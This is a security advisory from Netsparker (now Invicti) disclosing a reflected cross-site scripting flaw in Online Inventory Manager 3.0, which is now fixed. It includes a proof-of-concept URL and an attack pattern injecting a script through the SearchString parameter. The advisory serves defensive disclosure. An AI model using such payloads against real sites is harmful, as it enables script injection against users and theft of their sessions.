Information
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Advisory by Netsparker (now Invicti)
Name: Reflected XSS Vulnerability in Online Inventory Manager
Affected Software: Online Inventory Manager
Affected Versions: 3.0
Vendor Homepage: http://bigprof.com/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-17-021

Technical Details
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Proof of Concept URL for XSS vulnerability in Online Inventory Manager 3.0;

URL /online-inventory-manager/transactions_view.php?SelectedID=11&record-added-ok=9606&SortField=&SortDirection=&FirstRecord=1&DisplayRecords=all&SearchString='"--></style></scRipt><scRipt>alert(0x0060B6)</scRipt>
Parameter Name SearchString
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0060B6)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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28 Mar 2017 - Issue reported.
08 May 2017 - Vendor fixed.
10 May 2017 - Advisory released.

Solution
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Download the latest version of Online Inventory Manager.

Credits & Authors
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This issue has been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.